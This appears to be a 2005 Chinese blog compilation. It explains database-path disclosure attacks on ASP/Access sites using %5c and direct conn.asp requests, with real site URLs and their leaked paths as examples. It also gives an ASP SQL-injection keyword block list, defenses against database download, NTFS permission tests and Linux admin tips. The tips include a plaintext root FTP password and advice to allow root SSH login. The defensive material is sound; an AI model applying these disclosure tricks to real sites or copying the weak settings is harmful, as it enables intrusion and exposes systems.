    http://192.168.0.13/guest/conn.asp不会报错,因为返回路径是正确的,通过上面的,我们可以知道
    conn.asp暴是因为返回路不存在。现在我们对比一下%5c和conn.asp的不同返回路径
    1.%5c : 绝对路径+%5c后面的内容
    2.conn.asp : 绝对路径+conn.asp前面的相对路径+conn.asp调用的数据库路径
    两者结合起来,假设http://192.168.1.13/guest%5ccoonn.asp
    那么返回路径也就变成了绝对路径+conn.asp,但实际在入侵之时,我们会发现有的时候并不是,这个时候大家别忘了双解码好了,我只提出思路,实际的入侵方法,我想你可能已经想到。


    数据库防暴

    作 者:不 详  摘 自: 不 详
      有时,我们建立的数据库即便连接文件前面加#并将扩展名换成ASP,是防止有些人下载数据,不过这样也逃不脱黑客的攻击。下面我就介绍一种防暴SQL语句
    <%
    option explicit
    'SQL注入式攻击防范
    dim squery,sURL,allquery
    squery=lcase(Request.ServerVariables("QUERY_STRING"))
    sURL=lcase(Request.ServerVariables("HTTP_HOST"))
    allquery=squery+sURL
    if InStr(allquery,"%20")<>0 or InStr(allquery,"%27")<>0 or InStr(allquery,"'")<>0
    or InStr(allquery,"%a1a1")<>0 or InStr(allquery,"%24")<>0 or InStr(allquery,"$")<>0
    or InStr(allquery,"%3b")<>0 or InStr(allquery,";")<>0 or InStr(allquery,":")<>0
    or InStr(allquery,"%%")<>0 or InStr(allquery,"%3c")<>0 or InStr(allquery,"<")<>0
    or InStr(allquery,">")<>0 or InStr(allquery,"--")<>0 or InStr(allquery,"sp_")<>0
    or InStr(allquery,"xp_")<>0 or InStr(allquery,"exec")<>0 or InStr(allquery,"\")<>0
    or InStr(allquery,"delete")<>0 or InStr(allquery,"dir")<>0 or
    InStr(allquery,"exe")<>0 or InStr(allquery,"select")<>0 or
    InStr(allquery,"Update")<>0 or InStr(allquery,"cmd")<>0 or InStr(allquery,"*")<>0
    or InStr(allquery,"^")<>0 or InStr(allquery,"(")<>0 or InStr(allquery,")")<>0 or
    InStr(allquery,"+")<>0 or InStr(allquery,"copy")<>0 or InStr(allquery,"format")<>0
    or not(isnumeric(request("id"))) then%>
    <script Language="JavaScript">window.top.location.href="Error.asp?allquery=<%=allquery%>"</script>
    <%Response.End
    end if
    dim conn,connstr,startime,db,rs
    startime=timer()
    On Error Resume Next '防止暴库处理
    db="to/#zol.mdb" '数据库路径
    Set conn = Server.CreateObject("ADODB.Connection")
    connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
    conn.Open connstr
    If Err Then
    err.Clear
    Set Conn = Nothing
    Response.Write "数据库连接出错,请检查连接字串。防止暴库处理。"
    Response.End
    End If
    %>


    暴库技术

    银狐 发表于 2005-7-29 17:55:00
    暴库是2004到2005年中,在脚本方面最神奇的技术,在漏洞公开以前,无数的站点都被这个漏洞困扰着,直接泄露后台的数据库地址,先浅谈下暴库的一些常见的方法吧.

    一,关于"%5c"暴库大法:

    这种方法被认为是暴库绝招,很是流行了一阵(随着知道的人多了,防备也加强了,没以前那么有效了)。这种方法,简单点说就是,打开网页时,把网址址中的"/"换成"%5c",然后提交,就可以暴出数据库的路径。
      实际上,并不是所有网址都有效,需要"asp?id="这样的网页地址(表示有调用数据库的行为),如果你确认这个网页有调用数据库的,后面不是这样的也可以,比如chklogin.asp等也可以。(当然,也还有其它条件,后面再谈。)

    先举个例子,
    _blank>_blank>http://219.237.81.46/yddown%5cview.asp?id=3
    把第二个"/"换成"%5c"
    _blank>_blank>http://219.237.81.46/yddown%5cview.asp?id=3
    提交后会得到如下结果:

    Microsoft JET Database Engine 错误 '80004005'

    'D:\111\admin\rds_dbd32rfd213fg.mdb'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    /yddown/conn.asp,行12

    二,conn.asp暴库大法
    这里,conn.asp只是表示数据库调用文件,因为多数都是这个名字(有些网站改名,我们也视同conn.asp)。其实,这种暴库法是最先出现的,以前很多牛人都对此进行过探讨。只是在"%5c"暴库大法出现后,倒较少有人提及。其实个人认为,"%5c"暴大法随着服务器设置安全性的加强,用武之地会越来越少。而conn.asp暴库大法发挥的余地更大,可以人为构造,臭要饭的当年著名的动网大挪移实现暴库,其实也属于此类。

    上面_blank>http://www.om88.com/

    一例中,用"%5c"暴不出数据库路径,因为没有二级目录,但用第二种却可以暴出。它是动力系统的。
    我们再来看另外一个ASP系统一个盗帅的例子:_blank>http://www.51see.org/

    提交
    _blank>http://www.51see.org/db/user.asp

    得到如下结果:
    "Microsoft JET Database Engine 错误 '80004005'

    'd:\Hosting\wwwroot\uilady_com\htdocs\db\db\downloadwoaini12345.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    /db/user.asp,行6 "

    有人可能会说,这么简单就暴库,好爽!是不是所有网站都可以这样啊?当然不是,已作了防护的肯定不行,没作防护的,要暴库也是有条件的。

    如果说第一种暴库法是利用了绝对路径出错,那么,这种暴库法就是利用了相对路径出错。
    一般来说,只要conn.asp不在根目录的系统,而调用文件在根目录,就会出现这种问题。当然这种说法也是经验性的,准确的说就是,conn.asp与调用它的文件,如果相对位置改变了,就会报错,暴出数据库路径。这样说可能有人不明白,不要紧,接着看你就会明白的。

    我们从动力文章系统说起:
    动力文章系统的conn.asp位于系统的inc目录下,而很多调用它的文件在系统根目录下,比如User_ChkLogin.asp等,这样当conn.asp执行时,它是在系统根目录D:\wwwroot\zyx688\wwwroot\下执行的,因此,conn.asp文件中,调用数据库时,它考虑到执行时的目录路径,因而数据库的相对地址写成如下:
    dim db
    db="database/fp360609.asp"

    这样,当它在系统根目录下执行时,数据库的相对路径为根目录下的"database"目录内。但当我们直接请求它时,它工作的当前目录是在根目录下的INC目录内,这时,数据库的相对路径就变成了"inc/database/fp360609.asp",这样它当然出错。得到的绝对路径中多出了"inc。为了让大家看得更清楚,我们举一个可以用两种方法暴库的网站,比较一下看有何不同:

    提交:_blank>http://www.pofen.com/sc/down%5cshow.asp?id=437
    得到:"Microsoft JET Database Engine 错误 '80004005'

    'D:\Webdata\pofen.com\sc\db\download.mdb'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    /sc/down/db/user.asp,行6 "

    再提交:_blank>http://www.pofen.com/sc/down/db/user.asp

    得到:
    "Microsoft JET Database Engine 错误 '80004005'

    'D:\Webdata\pofen.com\sc\down\db\db\download.mdb'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    /sc/down/db/user.asp,行6 "
    两种方法得到的绝对路径,一个比实际路径少了,一个则多了,所以路径错误而报错暴出数据库。
    这两个系统都是因为conn.asp不在系统根目录下,而引起的。(其实这样的系统不止两个)。

    那是不是conn.asp放在根目录,与调用的文件在一个目录下就无事呢?如果在一起,当然没事,但牛人自有牛法子,可以通过构造方法来造成相对路径变化,一样能达到暴库的目的。比如,动网的大挪移手法,将conn.asp移位,从而暴库。当然,实际操作中,因为conn.asp移走后,网站无法工作,所以没有成功。但这种思路还是给很多人启发。如果有一种方法可以复制而不是移动,或者说,移动的不是conn.asp,而是调用conn.asp的其它文件比如chklogin之类的,理论上就可以成功。(当然,如果服务器和网页对暴库进行了安全处理,就是另一回事)。这种方法,当也就是一些牛人把网页存到本地改路径而搞出来的。今天刚看到一个暴动易数据库的最新方法,其原理也是构造错误而达到获得真实路径的目的。

    数据库暴库整理篇


    来源:不详

      引子:昨天和animator试验了一下,把data.mdb文件改名为data.asp文件后放在wwwroot目录里。然后在IE中输入data.asp路径后,发现IE显示一片空白,右键->察看源文件,跳出记事本,将内容另存为.mdb文件,用ACCESS打开,发现需要密码,也就是说至少文件头被破坏。
    然后用Flashget试验下载data.asp文件,并另存为data.mdb文件,发现用ACCESS打开完好无损!!!看来,好一些编程人员在开发的时候都认为,改了mdb后缀为asp就能防下载的概念,是错的!后台数据库被下载对于一个asp+access的网站来说无疑是一场惨绝人寰的灾难。今天找了各方的文章,归纳一下有以下9种办法防止数据库被下载(欢迎补充):


    1.发挥你的想象力 修改数据库文件名
    不用说,这是最最偷懒的方法,但是若攻击者通过第三方途径获得了数据库的路径),就玩完了。比如说攻击者本来只能拿到list权,结果意外看到了数据库路径,就可以冠冕堂皇地把数据库下载回去研究了。另外,数据文件通常大小都比较大,起再隐蔽的文件名都瞒不了人。故保密性为最低。


    2.数据库名后缀改为ASA、ASP等

    此法须配合一些要进行一些设置,否则就会出现本文开头的那种情况

    (1)二进制字段添加(此招我还没有炼成-_-+)。

    (2)在这个文件中加入<%或%>,IIS就会按ASP语法来解析,然后就会报告500错误,自然不能下载了。可是如果只是简单的在数据库的文本或者备注字段加入<%是没用的,因为ACCESS会对其中的内容进行处理,在数据库里他会以< %的形式存在,无效!正确的方法是将<%存入OLE对象字段里,这样我们的目的就能达到了。
    作方法:
    首先,用notepad新建一个内容为 <% 的文本文件,随便起个名字存档。
      接着,用Access打开您的数据库文件,新建一个表,随便起个名字,在表中添加一个OLE对象的字段,然后添加一个记录,插入之前建立的文本文件,如果操作正确的话,应该可以看到一个新的名为“数据包"的记录。即可


    3.数据库名前加“#”
      只需要把数据库文件前名加上#、然后修改数据库连接文件(如conn.asp)中的数据库地址。原理是下载的时候只能识别 #号前名的部分,对于后面的自动去掉,比如你要下载:http://www.pcdigest.com/date/#123.mdb(假设存在的话)。无论是IE还是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS设置的首页文档)
      另外在数据库文件名中保留一些空格也起到类似作用,由于HTTP协议对地址解析的特殊性,空格会被编码为"%",如http://www.test.com/date/123 ;456.mdb,下载的时http://www.test.com/date/123 %456.mdb。而我们的目录就根本没有123%456.mdb这个文件,所以下载也是无效的这样的修改后,即使你暴露了数据库地址,一般情况下别人也是无法下载!


    4.加密数据库
      首先在选取"工具->安全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现"数据库加密后另存为"的窗口,存为:employer1.mdb。接着employer.mdb就会被编码,然后存为employer1.mdb..要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。
    接下来我们为数据库加密,首先以打开经过编码了的 employer1.mdb,在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码", 接着输入密码即可。这样即使他人得到了employer1.mdb文件,没有密码他是无法看到 employer1.mdb的。
      加密后要修改数据库连接页, 如:
    conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq=数据库路径"
      这样修改后,数据库即使被人下载了,别人也无法打开(前提是你的数据库连接页中的密码没有被泄露)
      但值得注意的是,由于Access数据库的加密机制比较简单,即使设置了密码,解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行“异或”来形成一个加密串,并将其存储在*.mdb文件从地址“&H42”开始的区域内。所以一个好的程序员可以轻松制作一个几十行的小程序就可以轻松地获得任何Access数据库的密码。因此,只要数据库被下载,其信息安全依然是个未知数。


    5.数据库放在WEB目录外或将数据库连接文件放到其他虚拟目录下
      如你的WEB目录是e:\webroot,可以把数据库放到e:\data这个文件夹里,在e:\webroot里的数据库连接页中修改数据库连接地址为:"../data/数据库名" 的形式,这样数据库可以正常调用,但是无法下载的,因为它不在WEB目录里!这个方法一般也不适合购买虚拟空间的用户。


    6.使用ODBC数据源。
      在ASP等程序设计中,如果有条件,应尽量使用ODBC数据源,不要把数据库名写在程序中,否则,数据库名将随ASP源代码的失密而一同失密,例如: DBPath = Server.MapPath(“../123/abc/asfadf.mdb ”)
    conn.open “driver={Microsoft Access Driver (*.mdb)};dbq=”& DBPath
      可见,即使数据库名字起得再怪异,隐藏的目录再深,ASP源代码失密后,也很容易被下载下来。如果使用ODBC数据源,就不会存在这样的问题了: conn.open “ODBC-DSN名” ,不过这样是比较烦的,目录移动的话又要重新设置数据源了,更方便的方法请看第7,8法!


    7.添加数据库名的如MDB的扩展映射
      这个方法就是通过修改IIS设置来实现,适合有IIS控制权的朋友,不适合购买虚拟主机用户(除非管理员已经设置了)。这个方法我认为是目前最好的。只要修改一处,整个站点的数据库都可以防止被下载。无须修改代码即使暴露目标地址也可以防止下载。
      我们在IIS属性---主目录---配置---映射---应用程序扩展那里添加.mdb文件的应用解析。注意这里的选择的DLL(或EXE等)似乎也不是任意的,选择不当,这个MDB文件还是可以被下载的, 注意最好不要选择选择asp.dll等。你可以自己多测试下
      这样修改后下载数据库如:http://www.test.com/data/dvbbs6.mdb。就出现(404或500等错误)

    8:使用.net的优越性
      动网的木鸟就写过一个防非法下载文件的“WBAL 防盗链工具”。具体可以登陆http://www.9seek.com/WBAL/ ;
      不过 那个只实现了防止非本地下载的 ,没有起到真正的防下载数据库的功能。不过这个方法已经跟5法差不多可以通过修改.NET文件,实现本地也不能下载!

      这几个方法中,只有第7和8个是统一性改的,一次修改配置后,整个站点的数据库都可以防止下载,其他几个就要分别修改数据库名和连接文件,比较麻烦,不过对于虚拟主机的朋友也只能这样了!

      其实第6个方法应该是第5个方法的扩展,可以实现特殊的功能,但对于不支持.net的主机或者怕设置麻烦的话,还是直接用第5个方法了,而且默认情况下第6个方法,依然可以通过复制连接到同主机的论坛或留言本发表,然后就可以点击下载了(因为这样的引用页是来自同主机的)

    9.利用NTFS分区的文件权限设置(by percyboy)
    我们已经知道,ASP.NET 中使用 ADO.NET 访问数据库,通过 OleDb 的连接可以访问 Access 数据库——我们非常常用的低端数据库之一。本文讨论了 ASP.NET 中可能看到的若干错误提示,从中看到 Access 2000 和 Access XP 创建的数据库文件,在访问出现错误时会出现不太相同的错误提示。希望对大家有所帮助。另一个要点是,希望通过此文,使大家对 ASP.NET 中 Access 数据库文件的 NTFS 权限设置有所新的认识。

    (一)实验过程


    为了叙述方便,举个具体例子做个实验:应用程序为 /test ,数据库存放在 D:\wwwroot\test\data\db1.mdb,我们已经知道在 ASP.NET 中是以一个叫做 ASPNET 虚拟用户的身份访问数据库的,我们需要给这个账户以特定的 NTFS 权限才能使 ASP.NET 程序正常运行。

    为了得到最严格的 NTFS 权限设置,实验开始时我们给程序最低的 NTFS 权限:

    a) D:\wwwroot\test\data\ 文件夹的给用户ASPNET以如下权限:
    允许 拒绝
    完全控制 □ □
    修改 □ □
    读取及运行 √ □
    列出文件夹目录 √ □
    读取 √ □
    写入 □ □

    b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
    √ 允许将来自父系的可继承权限传播给该对象

    1.1 对于某个只包含有“SELECT”命令的aspx程序,上述权限设置运行时无障碍,即:上述权限已经满足这类程序的运行了。

    1.2 对于包含有“UPDATE”“INSERT”“UPDATE”等命令的aspx程序,

    (a) 如果 db1.mdb 是 Access 2000 创建的数据库,出现如下错误:

    “/test”应用程序中的服务器错误。
    ---------------------------------------
    Microsoft Jet 数据库引擎打不开文件’D:\wwwroot\test\data\’。 它已经被别的用户以独占方式打开,或没有查看数据的权限。
    说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
    异常详细信息: System.Data.OleDb.OleDbException: Microsoft Jet 数据库引擎打不开文件’D:\wwwroot\test\data\’。 它已经被别的用户以独占方式打开,或没有查看数据的权限。

    (b) 如果 db1.mdb 是 Access XP 创建的数据库,出现如下错误:

    “/test”应用程序中的服务器错误。
    ----------------------------------------------
    操作必须使用一个可更新的查询。
    说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
    异常详细信息: System.Data.OleDb.OleDbException: 操作必须使用一个可更新的查询。
    (c) 原因初步分析:因为包含有“UPDATE”“INSERT”“UPDATE”等命令,需要对数据库文件本身进行写入操作,所以上述权限不能满足此需求,我们需要进一步放开权限。

    我们放开一些权限,
    a) D:\wwwroot\test\data\ 文件夹不变:

    b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
    允许 拒绝
    完全控制 □ □
    修改 □ □
    读取及运行 √ □
    列出文件夹目录 √ □
    读取 √ □
    写入 √ □

    1.3 放开权限后继续实验,

    (a) 如果 db1.mdb 是 Access 2000 创建的数据库,出现如下错误:

    “/test”应用程序中的服务器错误。
    ------------------------------------------
    不能锁定文件。
    说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
    异常详细信息: System.Data.OleDb.OleDbException: 不能锁定文件。

    (b) 如果 db1.mdb 是 Access XP 创建的数据库,没有出现错误。

    (c) 原因初步分析:我们发现在打开 Access 数据库时,同时会在所在目录生成一个同名的 *.ldb 文件,这是一个 Access 的锁定标记。鉴于此,我们猜测,用户 ASPNET 访问 Access 数据库时,也需要生成一个锁定标记,而该目录没有允许其写入,因此出错。至于 Access XP 创建的数据库为什么没有这个错误,原因还不得而知。

    我们进一步放开权限,
    a) D:\wwwroot\test\data\ 文件夹给用户ASPNET以如下权限:
    允许 拒绝
    完全控制 □ □
    修改 □ □
    读取及运行 √ □
    列出文件夹目录 √ □
    读取 √ □
    写入 √ □

    b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
    √ 允许将来自父系的可继承权限传播给该对象

    1.4 继续实验,发现错误已解决,那么上面这个权限就是我们需要放开的“最低权限”。

    (a) 如果 db1.mdb 是 Access 2000 创建的数据库,我们会发现一个小问题:生成的 *.ldb 文件不会自己删除,访问后该文件依然存在,但这个问题不会影响 ASP.NET 的正常运行。

    (b) 如果 db1.mdb 是 Access XP 创建的数据库,没有出现上面类似问题。

    (c) 原因初步分析:我们仅仅是给了 ASPNET 以写入文件夹的权限,没有给它修改的权限,所以文件一旦写入,便无法修改其内容,*.ldb 也就删除不掉了。

    如果非要解决这个问题,进一步放开权限为:
    a) D:\wwwroot\test\data\ 文件夹给用户ASPNET以如下权限:
    允许 拒绝
    完全控制 □ □
    修改 √ □
    读取及运行 √ □
    列出文件夹目录 √ □
    读取 √ □
    写入 √ □

    b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
    √ 允许将来自父系的可继承权限传播给该对象

    1.5 附带着,实验另一种情形:我们把 db1.mdb 在 Access 打开编辑,同时访问 ASP.NET。

    (a) 如果 db1.mdb 是 Access 2000 创建的数据库,我们发现并没有出现什么问题。


    (b) 如果 db1.mdb 是 Access XP 创建的数据库,出现如下错误:

    “/zhao”应用程序中的服务器错误。
    ------------------------------------------------
    不能使用 ’’;文件已在使用中。
    说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
    异常详细信息: System.Data.OleDb.OleDbException: 不能使用 ’’;文件已在使用中。

    (c) 原因初步分析:Access 数据库是单用户单线程的数据库,我们在 Access 里面打开编辑数据库文件时其实是以当前 Windows 用户(比如Administrator)身份打开数据库,而 ASP.NET 默认使用的是 ASPNET 虚拟用户(隶属于 Users 组),级别低于 Administrator,无法和 Administrator “抢夺”权限,所以出现冲突错误。至于 Access 2000 忽略这个问题的情形我们也不必做讨论了,可能是 Access 2000 没有考虑那么多因素吧。

    1.6 再附带一种情形:将 db1.mdb 的属性改为“只读”,无论是 Access 2000 还是 Access XP 都将分别出现与 1.2 中各自的错误相同的错误提示。

    (二)实验结论


    (1) 我们首先再次总结一下 Access 数据库文件的 NTFS 权限设置的缘起:

    在 ASP.NET 中默认是以一个叫做 ASPNET 的虚拟用户的身份来访问、操作数据库的,你可以在“控制面板”-“管理工具”-“计算机管理”-“本地用户和组”-“用户”中看到这个用户,默认情况下是:

    全名:ASP.NET 计算机帐户
    描述为:用于运行 ASP.NET 辅助进程(aspnet_wp.exe)的帐户。
    隶属于:Users组。

    使用这么一个隶属于 Users 组的用户来进行文件操作、数据库操作的风险是要比用一个 Administrators 组的用户的风险要小得多,这也是 ASP.NET 在安全方面的一个考虑吧。

    既然是这么一个用户需要访问、操作数据库文件本身,那么我们就需要给它一定的 NTFS 权限以允许它的访问。显然没有 NTFS 的权限许可,ASPNET 就无法访问、操作数据库,就会出现上面实验中所看到的那些错误了。


    (2) 经过上面的实验,我们已经知道如下的 NTFS 权限设置是可以满足一般需求的:

    a) D:\wwwroot\test\data\ 文件夹给用户ASPNET以如下权限:
    允许 拒绝
    完全控制 □ □
    修改 □ □
    读取及运行 √ □
    列出文件夹目录 √ □
    读取 √ □
    写入 √ □

    b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
    √ 允许将来自父系的可继承权限传播给该对象

    同时我们也注意到 db1.mdb 是否为“只读”文件对 ASPNET 的访问也会有一定影响。

    (3) 上述权限设置可以直接设置给 ASPNET 用户自己,也可以设置给 Users 组,或者直接给 Everyone 组上述权限都是可以的。因为 ASPNET 隶属于 Users 组,可以通过 用户组 给 ASPNET 设置权限。

    (4) NTFS 权限在文件或文件夹右击后得到的“属性”对话框-“安全”选项卡中设置,一般情况下,可以考虑给 Adminitrators 组以“完全控制”的权限,同时不要轻易在“拒绝”中打勾,有关 NTFS 权限设置的技巧,可以咨询网络管理员、网络安全专家的建议。

    注:FAT, FAT32 格式的分区中不支持 NTFS 权限。

    (5) Windows 2000 系列,Windows Server 2003 系列的“安全”选项卡默认是很容易找到的,但 Windows XP Professional 中的“安全”选项卡默认是关闭的,可以将“控制面板”-“文件夹选项”-“查看”选项卡中的“高级设置”中“使用简单共享(推荐)”一项的“√”去除,“确定”之后,再次按照上面的方法即可看到“安全”选项卡了。

    ===========
    综上所述,2、3、4法一起使用,是防止数据库被下载最基本,最行之有效的方法,既适用于对服务器有管辖权的网管,又适用于虚拟主机的用户,推荐每一个制作者同时必用这三种方法

    若你对服务器拥有管辖权,推荐再加上方法9,你的ACCESS数据库的安全性就可以大大提高了。


    假设网站被暴库(攻击者通过各种途径取到了数据库的URL)。对于防范较弱的Web系统,这意味着数据库将被攻击者下载回去,网站全部后台数据泄露。

    Posted by vitter at 2005-08-05 18:33:24 | 评论 (0) | 引用

    July 25, 2005

    一些linux使用技巧(补充)

    这个是对以前一些linux使用技巧http://www.vfocus.net/blog/archives/000173.html的补充。

    一些linux使用技巧

    防止Apache泄露WEB的秘密
    Apache还是很好的WEB,但如果设置不当,也会造成WEB秘密被访问者下载,比如图标或软件,只要取消目录访问的索引文件就可以防止。编辑httpd.conf文件,原文件为:

    #
    # This may also be "None", "All", or any combination of "Indexes",
    # "Includes", "FollowSymLinks", "ExecCGI", or "MultiViews".
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    Options Indexes FollowSymLinks MultiViews
    只要把“Indexes ”删除,用户就不可能访问到目录文件了!

    last 用户历史访问记录
    who 当前用户状态
    uptime 显示启动时间及CPU负载
    uname -a 显示系统内核及硬件平台信息
    free 显示内存信息
    hostname 显示主机名
    netstat -ant 显示TCP端口及连接
    arp -an 当前活动的arp
    cat /etc/resolv.conf 显示DNS信息
    ip rule list 显示高级策略路由列表
    ip route list table main 显示高级策略路由主路由表
    mount 系统磁盘挂表情况

    “du”命令是用来确定磁盘空间的。例如:为了确定“/var/log”和“/home”目录的大小,用下面的命令:
    [root@deep]# du -sh /var/log /home
    1.0M /var/log
    66M /home

    /etc/named.conf DNS主配置文件
    /var/named DNS实际数据文件

    在windows下自动备份unix数据库
    在windows机器上做ftp批命令文本:
    open 192.168.0.50 --指明要连接的unix服务器
    user root 发送用户名
    hbjmtsg 发送密码
    cd/u/liasll_GB/database 指明所要备份的目录路径
    bin 改为2进位模式
    lcd e:\liasll 指明windows本机备份目录
    mget 指明所要备份目录的所有文件
    bye 离开

    Linux网络上的表示:
    Destination 目标网络或主机的IP地址
    Gateway 到达目的地址的网关
    Genmask
    Flags 标志字段,描述这一路由的一些特性
    Metric
    Ref 表示为了建一次连接,该路由使用的次数
    Use 表示通过该路由传输的分组报方数
    Iface 路由使用的网络接口

    DNS资料记录类型
    domainhost配置文件中资源记录类型主要有如下几种:
    NS 标明域的名字服务器
    A 转换主机名到IP地址
    PTR 转换IP地址到主机名
    MX 标明发给些域的邮件应该送到的服务器
    CNAME 定义主机别名
    在定义这些资源记录时按DNS服配置要求在域名的最后一定要加“.”符号,否则就为不规范的记录,在进行相应的DNS解析服务时就会产生一定的错误影响。

    wall 发消息(挺好玩的,呵!)

    lspci -v 查看硬件芯片

    修改分辨率vi /etc/X11/FX86config,找到Monitor修改时钟分为系统时钏和硬件时钟,在启动时,硬件时钟会去读取系统时钟的设置,然后系统时钟就会独立于硬件运作.

    查看时钟:
    date
    设置系统时钟:
    date 091713272004.30
    格式:
    date 月日时分年.秒

    查看硬件时钟:
    hwclock或clock,命令差不多.
    设置硬件时钟:
    hwclock --set --date="04/11/2004 23:16:25"
    或clock --set --date="04/11/2004 23:16:25"

    硬件时钟与系统时钟同步:
    hwclock --hctosys或clock --hctosys
    系统时钟与硬件时钟同步:
    hwclock --systohc或clock --systohc

    arp 查看本地的MAC地址

    ifconfig eth0 210.75.32.28 netmask 255.255.255.128 broadcast 210.75.32.127
    给eth0接口加入IP地址及掩码
    ifconfig eth0 down 关闭接口
    ifconfig eth0 up 打开接口

    FTP命令:
    ls:列出远程机上改变工作目录
    cd:在远程机上改变工作目录
    lcd:在本地机改变工作目录
    close:终止当前的ftp对话
    get(mget):从远程服务器指定文件到本机
    put(mput):从本机上传到远程服务器
    bye:离开

    more /root/.bash_history 查看历史命令

    在一张网卡上绑定多个IP地址:
    ifconfig eth0:0 192.168.0.253 netmask 255.255.255.0
    ifconfig eth0:1 192.168.0.252 netmask 255.255.255.0

    把iso制作成虚拟光驱 dd if=/dev/cdrom of=jin.iso bs=2048

    env命令用来查看环境变量

    du -h 显示本目录的文件及各文件的大小
    du -sh 显示目录占硬盘总的大小

    Linux下如何查找文件?
    & 在当前目录下查找文件明为*.sql的文件: $find . -name "*.sql"
    & 查找大于100M的文件: find . -size +100000
    & 查找含有"china" 的文件: find . -name "*" -exec grep -l "china" {} \;
    & 查找并删除tmp*的文件: find . -name "tmp* -exec rm {}\
    & 查找7天没有被修改过的文件: find . -mtime +7

    /boot/grub/grub.conf
    GRUB 配置

    /boot/module-info-*
    内核驱动信息
    Module information for the Linux kernel

    /boot/System.map-*
    系统例表
    Map of the Linux kernel

    /boot/vmlinuz-*
    内核
    Linux kernel

    /etc/aliases
    邮件别名
    Mail aliases

    /etc/at.deny
    被禁止的用户
    User IDs of users forbidden to use the at command

    /etc/auto.master
    自动mount
    Configuration file for the autofs daemon, which automatically mounts filesystems

    /etc/auto.misc
    Automounter map file

    /etc/crontab
    系统日志
    System cron file

    /etc/cron.daily/*
    安全日志
    Daily cron jobs

    /etc/cron.hourly/*
    时志
    Hourly cron jobs

    /etc/cron.monthly/*
    月志
    Monthly cron jobs

    /etc/cron.weekly/*
    周志
    Weekly cron jobs

    /etc/filesystems
    支持的文件系统格式
    Supported filesystem types

    /etc/fstab
    文件系统mount
    Filesystems mounted or available for mounting

    /etc/group
    系统组定义
    System group definitions

    /etc/host.conf
    Resolver configuration file

    /etc/hosts
    域名IP
    Map of IP numbers to hostnames
    /etc/hosts.allow
    允许的IP
    ALL : 1.1.1.1
    ALL : 2.2.2.* : deny
    sendmail : 3.3.3.3 : deny
    ipop3d : *
    sendmail : ALL : allow
    in.ftpd : *
    Hosts allowed to access Internet services

    /etc/hosts.deny
    禁止的IP
    ALL:*
    Hosts forbidden to access Internet services

    /etc/httpd/conf/*
    Apache配置文件
    Apache configuration files

    /etc/httpd/httpd.conf
    Web服务器配置文件
    Web server configuration file

    /etc/initlog.conf
    登陆配置文件
    Logging configuration file

    /etc/inittab
    Configuration for the init daemon, which controls executing processes

    /etc/issue
    Linux kernel and distribution version

    trustix系统:
    修改/etc/pam.d/su,注释掉下面一行,就可以su了
    auth required lib curity/pam_wheel.so group=root

    要ssh可以用root登录也是可以的阿,改/etc/ssh/sshd_config里面
    PermitRootLogin yes
    就好了

    去掉网关
    route delete default
    加上网关
    route add default gw xxx.xxx.xxx.xxx
    察看路由
    netstat -rn
    手工增加一条路由:
    route add -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1
    手工删除一条路由:
    route del -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1

    fat32的分区 mount -o codepage=936,iocharset=cp936 /dev/hda7 /mnt/cdrom
    ntfs的分区 mount -o iocharset=cp936 /dev/hda7 /mnt/cdrom
    iso文件 mount -o loop /abc.iso /mnt/cdrom
    软盘 mount /dev/fd0 /mnt/floppy
    USB闪存 mount /dev/sda1 /mnt/cdrom
    所有/etc/fstab内容 mount -a
    可以指定文件格式"-t 格式", 格式可以为vfat, ext2, ext3等.
    访问DVD mount -t iso9660 /dev/dvd /mnt/cdrom或mount -t udf /dev/dvd /mnt/cdrom
    注意:dvd的格式一般为iso9660或udf之一
    加载光驱命令 mount -t iso9660 /dev/cdrom /mnt/cdrom

    取消DHCP:
    #/etc/rc.d/init.d/xinetd stop

    取消显示器休眠:
    #setterm -blank n (n为等待时间)

    查看开机硬件网卡信息:
    #dmesg | more eth0

    禁止ping:
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    添加到/etc/rc.local里

    防止某个文件被修改:
    chattr +i /etc/fstab
    chattr -i /etc/fstab

    禁止本机443端口:
    iptables -A INPUT -p all --dport 443 -j DROP
    iptables -A OUTPUT -p all --sport 443 -j DROP

    查看详细端口连接命令:
    cat /proc/net/ip_conntrack

    查看端口上运行什么程序:
    lsof -i:22

    启动后开启NumLock
    for t in 1 2 3 4 5 6 7 8
    do
    setleds +num
    $t>/dev/null
    done

    tar 分卷压缩和合并
    以每卷500M为例
    tar分卷压缩:tar cvzpf - mytarfile.tar.gz | split -d -b 500m
    tar多卷合并:cat x* > mytarfile.tar.gz

    查找大小为500K到1000K之间的文件
    find -type f -size +500k -and -size -1000k

    通过ppp0上网,做NAT转换:
